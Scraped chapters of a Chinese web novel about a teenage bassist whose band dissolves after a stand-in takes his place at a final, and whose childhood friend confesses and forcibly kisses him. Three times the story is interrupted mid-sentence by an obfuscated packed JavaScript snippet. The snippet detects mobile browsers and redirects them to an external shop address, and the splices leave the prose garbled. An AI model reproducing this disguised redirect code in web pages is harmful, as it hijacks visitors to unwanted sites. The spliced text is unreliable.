在主持人激昂的报幕声与再度响起的掌声中,通道处传来急促的脚步声。 工作人员喘着气出现在门口,道:“承风的贝斯手是不是还没到,他没带通行证,你们谁去入口认领一下。” 鼓槌锵地落下,辽光和贝旬睁大眼睛四目相对。 老麦从未走得如此快过,心脏快跳出胸膛,通道长到令他觉得不可思议,看到人影站在入口那片阴影处时,老麦才彻底活了过来,长长呼出一口气。 他调整姿态,稳健地大步走去。 但他很快发现了不对,滞住脚步,站在离入口数米远的位置,问道: “你是谁?” 那人抬起头,挑眉:“听说你们缺贝斯手——” 他的语气很轻快,带着某种愉悦拖长语调:“我来顶替一下。” 老麦无法形容他当时的心情,他最终还是将那人带了进来,站上舞台的瞬间他才像是从梦里醒过来。 “他拿着你的贝斯。阿雀,你还是不知道和我说什么吗?” 纪羽有一双很漂亮的眼睛,每次登台演出时他都会背过身调弦,老麦不可避免地与他对视。 他的帽子压得很低,还戴了口罩,几乎看不清模样,但会冲着老麦抬起下巴,眼睛在帽沿下眨一下,亮得不可思议。 老麦相信纪羽的眼睛不会对他说谎,纪羽是全心全意喜欢这个乐队的,他不比任何人少站上舞台的欲/望。 此刻光亮从纪羽眼中一闪而过,他看着极其抵触这个话题,脸绷得很紧:“那不是我的贝斯。” 他抬手一拍桌子:“是他做了一把和我一模一样的贝斯!” 他用的力气不小,水杯被震倒,茶水淌了满桌。贺思钧拎着椅子两边把手把纪羽端到一边,叫人进来清理。 将这一幕收入眼底,老麦指缝夹着烟嘴搓捻,语调缓慢:“一模一样的贝斯。” “我认得出来,”纪羽盯着在桌面不断扩大的水渍,“那天我去了现场,我看着你们上台了。” 聚光灯外,尽是一片黑,所有人的目光都投向舞台,一声扫弦,灯光顿时绚丽,璀璨得人睁不开眼。 主屏幕跳出乐队的名字,台下便接连响起喊声,纪羽站在那些喊声中,却一个字音节也发不出。 有人在震耳欲聋的鼓点中向他搭话:“哥们,你铁粉啊,和承风的贝斯手打扮得真像!” 怎么会像呢? 当然像了。 从看不清五官的装扮到贝壳绿的贝斯,哪都是一样的。 视线和声音也在那一刻彻底扭曲。 “他完全顶替我了,他都没有和你们练习过。” 纪羽手指交叠着扭在一起,用力到留下了红印,他确实看着无助、茫然、落寞。老麦的怒火去了一半,再说不出指责的话来。 “也不是完全……” “粉丝还说阿雀终于长高了。” “……”老麦不由自主安慰道:“那是他们没见过你的脸,只能靠打扮认。” 从承风组建以来,所有演出纪羽都坚持密不透风的装扮,起初收到的评价都是骂他装逼无止境,后来夸他酷的人倒是更多了。 如果纪羽愿意在舞台上露脸,承风收到的声浪恐怕会多出三倍不止。不过承风不屑于这份关注,纪羽也从未有过露脸的打算。 纪羽原以为乐迷是通过风格、技法和演奏的习惯来辨认他,却不想自己本人在台下就成了赝品。 但他哪能怪任何人呢? 是他纪羽,是阿雀,在乐队直播节目的决赛时错过最佳上台时机,是那个仿照他的人挽救了承风,也挽救了他的声誉。 他怎么能不感恩戴恩,反而却怨忿他顶替了自己的位置,迁怒其他人毫无意识地接受了这狸猫太子呢? 这一切纵然要怪很多人,但最该怪罪最该被指责的,也是他自己。 “对不起。”纪羽意识到自己的过错,必须向老麦道歉。 “那天我应该早点赶过去,至少提前和你们联系,没能登场打乱安排,事后也没有给你们解释,还一直躲着你们,都是我的错。” 老麦的烟扔了又拿,拿了又放,心里不是滋味。 对着一个十几岁的小孩吵吵闹闹追责任,又为点什么呢,看着纪羽站在国旗下检讨似的道歉认错,似乎也不是他的本意。 “算了,反正也过去了。” 他本意是不想给纪羽太多没必要的心理负担,却不想纪羽说:“不能过去。” 纪羽的嘴角倔强地扯着不肯向下落:“我还没和其他人道歉,我要向你们保证,承风以后不会再因为我发生这种事。” “我还没和你说吗?”老麦把揉搓得不成样的烟塞进嘴里,尝到一股咸味,呸地吐出来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16132383|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐队解散了。” “解散了?”纪羽猛地抬头,不可置信地重复道:“解散……怎么能解散呢?” “还没正式宣布,啧,不过也快了吧。决赛之后大伙平分了通告费,那个谁,弹贝斯的他没要钱,你的所有报酬都在我账上,回头找个ATM机转给你…转给你监护人。” 纪羽再也坐不住,站起来走到老麦身边,抓着他的胳膊:“可你没说为什么要解散啊,大家不是说要一起干到老吗?” “喝上头的胡话而已,哪能当真。” 老麦把胳膊从纪羽手里抽出来,从烟盒里重新抖了根烟,塞进嘴里,含糊不清道:“辽光他家你也知道,欠了点钱,前段时间刚好还上,他妈找人给他介绍了个新工作,听说还不错,稳定,一个月有五千多,还交保险。贝旬嘛,他会作词作曲,卖版权不比东奔西跑地搞演出赚?我也觉得没意思,干脆不干了。” 他轻描淡写地交代了几人的去向,平淡。可纪羽还记得他们在地下排练室交换乐器,把一首曲子弹得乱七八糟的时候,每个人都笑得很快活。 “我可以出资的,就当,就当是发工资给大家行不行,不要解散……” “纪羽,这不是你能决定的。” 纪羽第一次抢过老麦的鼓槌把节奏打得七零八落,也没见过老麦这么无奈的表情。 老麦看着他,像看着一个愚蠢傻帽的富二代,搞砸一切后才追悔莫及,只会用钱去挽救所有关系。 “我自己攒的钱,不是我家里……”纪羽试图解释,声音越来越低。 打鼓伤耳朵,老麦听力一般,但这么近的距离也够听出纪羽声音里的恳求。 他咬下烟嘴,说:“你不是也高三了吗,要做的事儿不比搞一个破乐队重要,等你上了大学,组乐队的机会还多了去了,跟我们这些人混一起干什么。” 就算纪羽爱演出时的激情,对乐队有梦想的追求,但哪能抵得过现实呢,就和其他人一样,说不上不喜欢了,但是要吃饭嘛,没办法。 哦,也许纪羽不为生活,但他总有更值得去做的事,错过一个短暂的舞台,也不算什么。 纪羽总归还有以后。 或许老麦没有丝毫嘲弄的意思,但一番话说出口还是让纪羽白了脸色,他抓着椅子的扶手轻声说:“你觉得那天我没来是有其他更重要的事去做?你觉得我没把乐队放在心上?” “事情已经过去了,”老麦站起身,“不管原因是什么,它都已经发生了。结果其实还不错是不是,四强,也够我们吹一辈子了,还有奖金呢。” 他擦着纪羽的肩膀向外走:“我去买单,待会就直接走了,有空还是可以联系我,哦,记得把你爸妈收款账号发我。” 门打开,他还和门后的贺思钧打了个招呼,一点也不意外这人这么久时间杵在门外:“先走了啊,这儿的服务真不怎么样,擦个桌子半天没人来,还让你自己拿毛巾呢。” 贺思钧向里望了一眼,转头叫住老麦。 他缓声开口:“是我拦着他,耽误了时间没让他上台,这不是他的问题。” 他向自己身上揽责任,面上却没有半点歉意,眉眼不带任何感情地看着老麦。 老麦抱臂,肌肉充血显得刺青愈发狰狞,对他没有任何客气:“是吗,那你记得,以后别多管闲事。” 他好像没把两个小毛孩的话放在心上,说罢,转身就走了。 21.第 21 章 贺思钧走进隔间内,关上门,包厢里已经没有纪羽的身影。 他俯下身向桌底望,在一侧找到蹲着的纪羽。 纪羽低着头,眼泪一部分从眼眶掉在地上,有的顺着鼻梁滑到鼻尖,啪地落下来,在地板上积攒成小水坑。 包厢内静悄悄,眼泪落在地上的声音也微不可闻,贺思钧走过去,蹲下来,把手掌托在纪羽脸下,接住一颗又一颗微凉的泪珠。 连最后一点声音都消失了,纪羽转过脸看他:“怎么办,贺思钧,现在怎么办啊。” 纪羽一直都没法独立生活,他必须要攀附着什么才能生长。从前他无从选择,倚靠纪律攀爬的时候要规避锋利的尖刺,得不偿失,于是遇到贺思钧后他就将触须探了过去。 贺思钧不反抗不推拒,任着纪羽依赖着他,纪羽和他分享一切,几乎把什么话都说给他听。 学贝斯和加入承风,都有贺思钧的身影在。 指腹不忍心挑破的水泡,贺思钧会替他处理,排练时的每一顿饭每一口水,贺思钧会替他安排。 即便贺思钧不能作为他的队友站在他身边,也会在纪羽能看到的角落里。 贺思钧记录纪羽的成长,接手他的一应事务。 没能上场的决赛舞台,顶替他的贝斯手,也是贺思钧的补救措施。 贺思钧接管了一切,该对后果有所预料,也必须承担起责任来。 可纪羽紧紧攥着他的手臂,问他怎么办的时候,他一句话也答不出来。 这不光关乎纪羽一个人,其他人的心,贺思钧是难以左右的。 “总会有办法的。”贺思钧的话语苍白无力。 “什么办法,”纪羽收紧手指,指甲快戳进贺思钧的皮肉里去,语调拔高,“你再找三个替代品给我吗,你出得起那么多钱吗?!” 纪羽的眼泪还是止不住地掉,脸上却因激动起了一层红晕。 “如果那天我没有找你自己一个人走就好了,我干嘛要相信你呢,你早就找好要替代我的人了,还让他用和我一样的贝斯!” “我没有。” “你没有什么?没有让人替我上场,还是没有相信我可以上台完成演出?贺思钧,你自己干的事你怎么能忘?” 纪羽这段时间总是哭,因为这,因为那,眼泪像淌不干那样掉出眼眶,砸向地板,也砸到贺思钧的手背。 纪律说纪羽小时候总哭,纪羽的记性太差才记不得,纪羽却分明觉得是他没掉够眼泪,才会在成年前一直哭。 “我确实找了一个替补,但我不知道他会模仿你。”贺思钧的思绪像被拉直绷紧的绳索突然放松,在半空中拧成牢固的解不开的结,他不断抬手去擦纪羽的眼泪,被一遍遍躲开。 纪羽牢牢地抓住他,又避开他的接触,贺思钧不明白纪羽到底怎么看待他,也无从下手。 “你不知道?”纪羽用落了雾的眼睛不信任地看他,“贺思钧,你不能撒谎。” “我不骗你。你不能上台,我要找人替你,谁都可以,只要能上台演出。” 听了他的解释,纪羽似乎没有高兴起来,反倒语调艰涩地问道: “谁都可以,那为什么我不可以?” 贺思钧从四肢末端升起冰冷的寒意,但他刻意忽略了这份感受,仍说道:“你当时的身体状态不适合去,你还有以后。” “那是决赛!”纪羽脱口而出,“那是最后一场比赛,所有人都在等我们演出,你不知道那有多重要吗?” 寒意渐渐漫上后背,贺思钧望定他:“那幸好,是最后一场比赛。” 纪羽不可置信地猛然推开他站起身,肩膀撞到了桌沿,桌子沉重地发出颤抖。 “只要半小时!不,十分钟,就给我十分钟也不行吗,一场演出能花多少时间,我不会因为这点时间就活不了!” “纪羽,你知道路上耽误的时间其实并不止这一点!” “先生,打扰一下……” 纪羽听见来人声,立刻扭过脸去。 服务生只见里间两人一坐一站,坐着的那人像是摔倒在地,应该是响声的来源,正要上前询问,就听他说道:“请你出去。” 眼神激得人心里一抖,服务生应了一声便关门退出。 脚步声走远后,贺思钧才单手撑地从地上站起,努力压抑着什么道:“你自己是不是都忘了,到医院的时候你已经快休克了,再晚一点落下后遗症你才会觉得那很危险是不是!” 纪羽扭着脸不说话,侧脸那颗小痣被泪水浸得亮津津。 贺思钧叹口气,从桌上抽了纸巾,抬手替纪羽擦脸。 “那是决赛。”纪羽闭上眼睛,眼泪仍然流出来,“是我们乐队第一次参加比赛进到决赛,有那么多人等着,我们排练了很多次,是我们一起编的曲,我填了副歌的一段词,我为这个比赛准备了很久。” 贺思钧说:“以后总会有机会。” 承风才组建了多久?一年多,似乎还不到两年,甚至都不到他和纪羽认识年头的八分之一,纪羽曾经单方面和他绝交了上百次,但只要他们还在见面,会呼吸会喘气就会和好,承风为什么就不能重组? 就算承风注定成为回忆,纪羽还很年轻,有的是时间再去组建新的乐队。 纪羽执着的、放不下的,都会被时间冲淡。 “以后?” 纪羽睁眼怒视着他,一把火钳夹着碳捅进他的胸膛,把心烧得焦黑,他提声道:“以后!以后!为什么总要说以后,我的现在呢,我的现在怎么办,我等不到以后,你们都要我的以后过得好,那谁来关心我现在!谁在意我的现在!” 纪羽攥起玻璃杯用力砸到地上:“它现在就碎了,它不会再有用了,它没有以后了!” 玻璃碎片在地面四溅迸裂,茶水淌了一地。 贺思钧看见一块碎片擦着纪羽的脚踝飞过,为他突然而然的举动喝道:“纪羽!” “王八蛋!”纪羽冲他喊回去。 遗憾就是遗憾,永远没办法弥补,无法覆盖,时间不会让事情变得更好,只会让他离踌躇满志的开始越来越远。 几个月过去,贺思钧一点都没改!他说都是他的错也是骗人的,他怎么能信了他的鬼话? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16137244|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺思钧鞋面碾过玻璃碎渣要握住他的手,似乎是怕他再干出乱打乱砸的事儿来。纪羽把他的茶杯也丢到地上:“滚蛋!”说罢,他抓起书包,用袖子蹭去脸上的泪痕,推开门走了出去。 服务生在门外踌躇不前,见他出来又是一副欲言又止的模样,纪羽吸了下鼻子,从包里掏出两百块钱给他:“对不起,我把杯子摔了。” 服务生和他说没关系,纪羽背着包向外走,走到门口时又被人拦住了。 “半小时前出来的客人硬要再结一遍账,这份钱他让我们退给您。” 老麦死要面子活受罪,这一份饭钱不知道又要洗多久的盘子。 纪羽盯得那钱看得有些久,眼睛又是红的,经理心里转过几个念头还未出口,就听纪羽说道:“把钱给待会出来的人。” 他才不占贺思钧的便宜! 外边天黑透了,但还远不到纪羽回家的时间。纪羽闷头走到车站,上了公交,坐了八站,在幸福花苑下车。 他进到小区里,走到最南边的小独栋停下,站在门廊前,深吸一口气,按响门铃。 “谁啊?”女人的声音从门后隐约传来。 “干妈,是我。” 乔青燕听出纪羽的声音,赶忙来开了门,她人如其名,面庞清瘦五官和谐舒展,贺思钧与她长相有三分相似,但更像他父亲。 乔青燕招呼他进来:“怎么你一个人回来啦,晚自习下课了?过来累不累?嗓子都干了,喝点水,干妈给你加点胖大海。” 纪羽看她转身就开始忙活赶忙叫住她:“我到贺思钧房间拿点东西,马上就走了。” “那你直接上去拿,他爸和战友出去吃饭了,不在家。” “噢,干爸在家的话我还想和他打招呼呢。” 知道纪羽和贺泰安不对付,乔青燕笑笑,没多说什么,让他拿了东西就下来,她切点苹果给他吃。 纪羽进贺思钧房间比进自己家门还熟悉,找了几个地方就把东西拿到手。 “拿的什么呀,那么大一包,”乔青燕看着纪羽提着的黑盒形状倒像是装了什么乐器,“小钧拿回来我问他也不说是什么,我还当他自己有了什么爱好不想他爸知道,结果放在房间里一直没动过。” 纪羽塞了两瓣苹果在嘴里,捂着嘴巴说话模糊不清:“似窝的,晃宰他哲理鸡村一下。” 乔青燕怕他噎着,给他倒杯水:“那么重叫小钧给你拿去多好,你跑一趟多麻烦……乖乖你眼睛怎么肿了?” 家里就她一个人在,灯开得昏暗,走近了才发现纪羽眼圈红了一片,睫毛还腻在一块儿,显然是哭过。 “贺思钧最近又惹你了,不是才和好没多久吗?” “!”吵归吵,闹归闹,纪羽还是很有原则的不会闹到长辈面前,忙喝了两口水,囫囵咽下苹果就侧身向门外窜,“我要走啦,改天我再来哦。” 乔青燕扭个头的工夫,纪羽就跑了出去,乔青燕赶到门外喊他:“又不追你,莫跑喽!” 纪羽跑开一段距离,见乔青燕还在门外看他,抬起手臂挥了挥:“没事!我们一点事都没有!” 22.第 22 章 纪羽刚离开贺家,就在半途撞见了贺思钧。 不过他一点都不惊讶贺思钧会跟来,于是径直无视了贺思钧,闷着头自顾自地走。 偏偏贺思钧追上来,毫无道理地把琴盒夺去:“去哪儿,你今天走的路太多了。” 纪羽抬手去抢,可他哪里是贺思钧的对手,三两下就败下阵来。 “没让你管。” 纪羽气势汹汹地走上跨江大桥,照明灯将他的影子拉得很长,也很高大。他像完全不会累地大迈步,用力地吸气、吐气。 “你打算去哪儿?” “和你没关系。” “纪羽,我们可以好好聊一聊。” “谁要和你聊。” 贺思钧锲而不舍地跟着,和纪羽说一句话就被呛回来一句,他又完全不懂谈话的艺术,好几次把纪羽烦得想翻过护栏跳下去。 直到某个公园的牌子在视野中显露,纪羽才慢下步调,从一个小口子钻了进去。 这儿前不搭住宅区,后不临商圈,夜又深了,公园里几盏灯闪烁着照着树影,只有蚊虫撞着灯罩的啪啪声。 纪羽以前常来,对周遭还算熟悉,只是大晚上的看不清楚,心里也打怵。 但贺思钧还跟在他后边,脚底踩着枯枝的声音咔嚓咔嚓的,瞬间点燃了纪羽压了一路的火。 走到一片空地,纪羽停下脚步:“把贝斯给我。” 贺思钧定定看他两眼,听话照做。 贝斯被养护得很好,琴颈和琴身等易磨损部位都完好无损,漆面光亮,在昏暗的灯光依旧色泽清晰,隐隐泛着微光。 看得出主人对它的用心。 纪羽摩挲琴弦,拨弄一下,嗡鸣声低沉。 为了这把贝斯,纪羽攒了半年的生活费,又在日思夜想里等了百来天才到手,涂装、配件、指板弧度、琴颈形状他和贺思钧讨论过很久才最终确定下来。 每一个部件、细节他都清楚无比地记得。 贺思钧也记得。 他的贝斯本该是独一无二的。 纪羽攥紧琴颈,将贝斯倒提着举过头顶,手臂因用力而微微发抖,五根琴弦绷紧陷入掌心。 纪羽的心摇摇欲坠。 贺思钧握住他的手腕,他的手很稳,掌心有锻炼留下的茧,磨着纪羽的腕骨。 “别砸。” 纪羽抬头看他,他今天走了很多路,情绪大起大落,整个人呈现出颓丧又激昂的矛盾状态,汗水把额角的碎发沾湿,贴在脸侧。 “贺思钧,它已经没用了,它不是独一无二的,它一点都不特殊,我再也不想弹它了。” “它是你的贝斯,你以前不是很喜欢它吗?”贺思钧的手向上攀,把住琴身,纪羽的手指攥得很紧,琴弦勒着的指肉边缘泛着一圈死白。 “喜欢也是会变的,”纪羽僵持着不肯松手,“贝斯又不是你的,我的琴我想砸就砸了。” “我买它,你把它给我,这样可以吗?” 贺思钧神态格外认真,似乎并不只是缓和纪羽的权宜之计。 “你买什么,你的钱花不完吗!”纪羽猝然松手,贝斯被贺思钧稳稳拿在手里。 “暑假里我在打工,”贺思钧把贝斯放进琴盒,扣上盖子,“有五千块钱。” “租房的钱呢,这点钱交房租都不够,你要怎么买我的贝斯?” “以后我会上班,一个月还能挣更多,你多给我一点时间,最多再给我两年,我会把钱还你。贝斯你还是可以用。” 从没见过这样的冤大头,他愿挨,也要看纪羽愿不愿意打。 但纪羽的注意被转移到了另一个重点:“上班?你上什么班,贺思钧,你是不是忘了你要上军校,你哪来的时间去赚钱?” 他皱眉,剥下那点强行伪装的尖锐,露出一点细嫩的内里。 贺思钧尽量把话说得平和:“我不上军校了。” “为什么?!”纪羽险些跳起来,“你为什么不去军校了,你不是定下来了吗,你不上军校你去哪里,你乱说什么!” 他抬手要打贺思钧的脑袋,贺思钧顺从地低头:“这不是我的梦想,纪羽,你说得对,我太自私了,我做不到为其他人奉献一辈子。” 纪羽还没从恍惚中缓过神来,他的错愕、失落、愤怒被搅在一起,短暂地沸腾后化为水雾,轻轻一吹就散了,胸膛里只余一片空荡荡的茫然。 他太心软,就算是放了无数次狠话也做不到对贺思钧不管不顾。 纪羽一面痛恨着自己一面问贺思钧:“那你怎么办呢,你爸呢,你告诉他了吗,你以后要做什么?你知道自己要去哪儿去做什么吗?” 他绞尽脑汁也想不出贺思钧有什么爱好、对某些东西或某件事格外向往,甚至到了让他打破常规的地步。 有时候纪羽甚至会梦到长大的贺思钧被敌人俘虏,用尽手段也不能从他嘴里获得什么信息,因为贺思钧没有弱点。 纪羽怎么也想不到,贺思钧有一天会说出这种大逆不道的话来。 贺思钧摇了摇头:“我谁都没说。” 纪羽和他四目相对,从内心深处泛起震颤,像住在他身体里的小人敲响圆钵,逼迫他的心脏同频跳动。 “那你告诉我干什么,”纪羽抬手捂住耳朵抱住脑袋,“你对我说这些要我做什么,我帮不了你的,你自己解决。” 他连自己的事都处理不好,哪管得了贺思钧的未来,他情愿自己什么都没听到。 “我只是想告诉你,纪羽,你别害怕。” “我有什么好怕的!你才要害怕,你要去哪里要做什么都和我没关系。” 思绪变成一团乱麻,纪羽没法再在这待下去,扭头要走。 贺思钧拉住了他,隔着外套都能感受到他手掌炽热的温度。 “如果我说,和你有关系呢。” 贺思钧的眼睛像两只黑洞,纪羽努力维系的镇静、从内心迸发出的力量通通都被吞没。 夜晚的公园似乎过于安静了,什么时候连蚊虫的嗡声都听不到了,四周一片幽黑,纪羽被动地调动起所有感官,将注意放到眼前的人身上。 他直觉一定会发生某些重大到会改变他人生轨迹的事。 “我想和你去同一个城市,上同一所大学。纪羽,我不想离开你,我可能有点不正常,每一天晚上我都会梦到你,你对我哭,让我不要离开你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你身边只有我一个朋友,所以你会有这种错觉,贺思钧,你应该去买点科普读物看看,或者去看一点见不得人的小视频,总之别在这里突然撒疯!” “我不是突然撒疯。我只是想和你正常交流,像以前一样……” “以前?以前我们也只是朋友关系!” 没有正常交流的朋友会突然而然地表白。 纪羽盯着贺思钧的脸猛瞧,试图从他脸上找到带着面具的迹象,证明贺思钧被掉了包换了人,不然该怎么解释贺思钧这些天的种种异样,特别是今晚的诡异行径? 难道表白有什么特别的功效? 纪羽灵光一现,说道:“你是不是上网看了什么乱七八糟的东西,比如说告白不成还能当朋友之类的,那些都不能信,你知道吗,没有人在表白被拒后还能做好朋友。这个方法没用!” “我不知道你在说什么。”贺思钧捧住纪羽的脸,好小,好像能彻底盖住,肉也很软,黏黏腻腻地钻进指缝,让人忍不住更用力些,“我想亲你。” 他礼貌地发出请求,却不待人拒绝或答应,俯身便迎向那柔软的唇瓣。 23-30 第23章 纪羽眼前一暗, 一切便不由他掌控了。 贺思钧根本不懂接吻,唇瓣相贴,先是碾磨, 但似乎又觉得不够,于是牙齿叼着软肉慢慢地啃。 一点都不像偶像剧里浪漫的拥吻, 纪羽只感觉脸颊被挤压得变形,嘴巴被贺思钧啃骨头似的嘬起来咬,他想喊痛, 嘴巴都张不开, 下半张脸湿漉漉的,分不清是汗还是别的什么。 一开始, 贺思钧只想贴一贴纪羽的嘴巴, 它看起来缺乏血色又冰凉,可碰到之后, 那股湿软的缠绵感就让他不知所措起来。 接吻该怎么做?这种东西看一百次一千次都难以想象, 只是两个人薄薄的两块细嫩的皮肤相贴,又有什么不同? 贺思钧甚至不明白深埋在心底的欲/望从何而起, 似乎只是人类百万年来根植的本能。锋利的牙齿藏在薄软的唇肉下, 注定要大举进攻,将口欲倾泻到极致。 几次啃咬后, 纪羽开始挣扎,衔在犬齿的软肉又烫又肿, 贺思钧退开一点, 感受着全身的血流恢复流转。 夜风重又吹入这片空地, 树叶簌簌作响。 不知道什么时候,纪羽已经到了他怀里,柔软的发顶蹭着他的鼻梁。贺思钧两手自然地下移, 一手托在纪羽的后颈,另一手则横过腰,强硬地将他固定在自己身前。 这不该是一个没能取得告白胜利的人,应有的行动。 纪羽一定会为此大发雷霆。 纪羽会从此彻底推开他,还是一辈子都忘不了,他从小一起长大的朋友,在一个普通的夜里,强硬地和他接吻,甚至都没询问他的意见? 但一切结束,纪羽只是靠在他肩头喘气。 大概是彼此靠得太近,他忘了怎么呼吸,也丧失了基本的思考能力,需要倚靠着什么恢复气力。 贺思钧低头看他,两瓣唇被又亲又咬,格外红肿,水津津的,在玉白的脸上格外醒目,哭过的眼尾还晕着红,看着很可怜。 脸颊上传来刺痛,纪羽叫了一声,怒气攒成力气,抵着贺思钧的喉结把人推开:“你咬我!” 贺思钧看着他脸颊上的小痣浮在一片红里,喉结上下滚动,很熟练地道了歉:“对不起。” 纪羽脸上、嘴上,全都是贺思钧的口水,难受死了,可他又不想用自己的衣服去擦,不知道是先该让贺思钧给他擦脸,还是让贺思钧对亲他这件事道歉。 纪羽六神无主,心里又委屈又气愤,半天才憋出一句:“我是哥哥!你怎么能这样?你把我当什么了!” 他顶着这样一张被人又揉又咬的脸,还想说出些有气势的话来教训人,贺思钧的目光一刻也不能离开他泛着水光的被亲得格外饱满的唇瓣。 “我把你当纪羽。” 纪羽是他的朋友,他从小一起长大,只比他大一岁的哥哥,是他喜欢的人。 但这些身份有什么重要呢,命运把纪羽送到他身边,他就该牢牢抓住,只要是纪羽就好。 “我说的不是这个意思!”纪羽天旋地转,觉得贺思钧的脑子天生就和别人不一样,听不懂半点隐喻,更不知道如何婉转,“我现在很生气,你不经过我的同意亲我是强迫你懂不懂,我可以报警抓你!” “你不信我喜欢你。” 所以他用行动证明了。 纪羽气得抓狂:“我要报警抓你……” “前面五百米就是派出所,”贺思钧声音低沉,“我可以去自首。” “你闭嘴吧。” 贺思钧闭上嘴,眼睛依旧深洞洞地照着他,纪羽却对他说,这件事明天再处理。 于是这件事暂时到此为止。 纪羽不明白他混乱、难堪、悬浮的一天为什么会以这样的方式收尾。 回到家里看到纪律那张臭脸时,他才觉得双脚落在了实处。 “去哪儿了?” “骑鬼火去酒吧吃了顿炒饭顺便纹了个身喝了两瓶冰红茶在闹市区飙车,顺便还把我耳朵旁边第52根头发染成了黄的。” “……”纪律灌了一口咖啡,尽力消化了一下内容,“从哪儿学的。” 纪羽背对着他,脸上一块肌肉都懒得拉扯一下,低着头换鞋:“我的生活,还需要向谁打听?” “说人话。” “不想和你说。” 纪羽头也不回地向楼上跑,带上门顺手上了锁。 把书包扔到地上,纪羽也顺势倒下,望着天花板出神。 过了一会儿,他爬起来把布置的作业写了,洗了澡,把自己捂进被子里。 纪律没把他的手机收走,就在枕头底下压着,但纪羽很少用。 台灯的光晕在眼前重叠,纪羽从被窝里伸出手,拉灭了灯。 手机幽白的光在拱起的被子里亮起,纪羽将备用SIM卡插入卡槽,数条短信跳了出来。 辽光的信息居多,一开始还在问纪羽在哪,后来就是一些威胁和上不得台面的话,最后一条消息停留在两个月前,说让他记得还自己话费。 纪羽不敢认真看,但手指停留着没有划走,强迫着自己一条一条看完了。 接着是贝旬的,说了他电话打不通的事,问了他是不是出了什么事,得不到回应就只在之后提了一句看到了回个消息。 来自老麦的未接电话很多,一滑滑不到头,鲜红地映在屏幕上,纪羽的心像不断充气的气球,越鼓越大,到了即将炸开的极限。 接连输错了好几次登录密码,纪羽不得不在越发强烈的忐忑中等待账号冷却时间结束。 冷却倒计时结束。 纪羽保险地用手机验证码登录。 登上了。 聊天页面转着圈圈,最上边的聊天框还停留在他给贺思钧发消息,说让他带荔枝味的雪糕来排练室。 紧排着的是一个五人小群,群名是【和气生财】,土里土气的。 【再世歌王:说定了啊,谁失误请客一周外卖……】 那是决赛前一晚,几个人吵吵闹闹的聊了很久,纪羽那时候在发烧,他吃了药,希望能在天亮前降下去,他没能睡着,却不是因为难受,而是紧张和亢奋。 掌声与音响残余的音波融合在一起,台下是浪一般的人群,他们会举起手来欢呼、尖叫。 辽光听到叫声也会兴奋得在台上就大吼大叫起来,要提前和后台打招呼,一结束就给辽光闭麦。 贺思钧虽然是编外人员,但纪羽想或许可以让贺思钧站在离舞台近一些的地方,等灯光暗下,让他也看一看,在数千人面前演出是多么让人振奋的事。 但纪羽又想贺思钧能在台下的人群里,看着他弹贝斯,会更安心点。 思来想去,他还是没做出决定,于是抱着手机刷了很久的承风现场集锦。 明天,一定会比他们之前所有舞台更震撼、更完美! 可能是期盼的事情总要违心地假装不在意,才可以如愿。 一旦投入太多期待,寄予太多沉重的希望,就会如悬在河岸边的瓜藤,在丰收之时噗通丢了成熟的果实。 圈圈转了太久,屏幕渐渐暗下,纪羽伸手点亮。 消息同步成功。 消息一连串地跳出来,纪羽的小号是在决定加入乐队时创建的。加的人不多,每个人的头像都在最上边轮了一圈。 纪羽暂时没勇气点开几个聊天框的语音条,点开了群聊。 意外的,小群没有解散,他也没被踢出去。 他没有设置备注,辽光的昵称变成了姓名加电话号码,在群里说了最后一句话: 【说不定哪天就诈尸了,留着吧,说不定我还能看到世界奇观。】 哦,群里人都以为他死了。 或者是干脆当他死了。 纪羽向上翻了翻,发现贺思钧也收到了几条艾特,但一直没发过言。 他倒是可以不用小号,注册了那么久还是初始头像。 群里还分享了几个宁海事故报道,都是决赛当天的事,但都马上被排除了。 替补贝斯手或许已经能解释一切。 纪羽默了默,眼睛干涩肿胀,一直紧绷的下唇也疼。他刻意忽略了。 老麦居然没有把碰见他的事同步给其他人。 指尖点出聊天框,按下一堆乱七八糟的字符,纪羽的心跳哐当哐当的,他喘不上气,把脑袋伸出被子大口呼吸。 光源透不出厚厚的被褥,房间里很暗,残留的光斑在眼前漂浮。 总要面对,他总不能一直逃,谁都不能替他解决。 纪羽狠狠心,又钻回了被窝。 一条消息发送成功的提示音却咻地响起。 乱码被他错手发了出去。 贝旬的头像下一秒弹了出来:【?】 纪羽喉头一阵阵发紧,控制不住地打下字:【是我,对不起。】 他好像突然明白了贺思钧为什么越来越熟练地向他道歉,原来不知道说什么的时候,他只能说出这句对不起。 贝旬没有再立刻回复。辽光有了工作,大概早就睡了,老麦可能又在抽烟,看到了消息也不想回,他们都没必要立刻对他的出现做出回应。 纪羽抖着手开始阐述自己的罪过,并把自己没有说实话的部分一一剖白,为了增加事实可信度,他把自己的学生证也传了上去。 他没有细说决赛当天的事,但做了尽可能全面的解释,最后他向其他人道歉,为他的错过和躲避,说了对不起。 